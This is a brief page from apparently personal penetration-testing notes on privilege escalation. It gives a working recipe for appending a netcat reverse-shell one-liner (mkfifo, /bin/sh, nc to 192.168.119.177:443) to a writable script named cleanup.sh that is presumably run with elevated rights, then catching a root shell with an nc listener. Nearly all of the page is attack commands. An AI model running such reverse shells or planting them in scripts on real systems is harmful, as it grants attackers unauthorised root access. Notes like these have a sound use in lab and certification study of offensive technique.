> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/echo-bin-bash-to-executable-file.md).

# echo /bin/bash to executable file

1\)echo a bash reverse shell directly into the ....sh script 

`echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.119.177 443 >/tmp/f" >> cleanup.sh`

2\)setup a listener on port 443 and wait for reverse shell

`nc -nvlp 443`

5\)check out shell → #root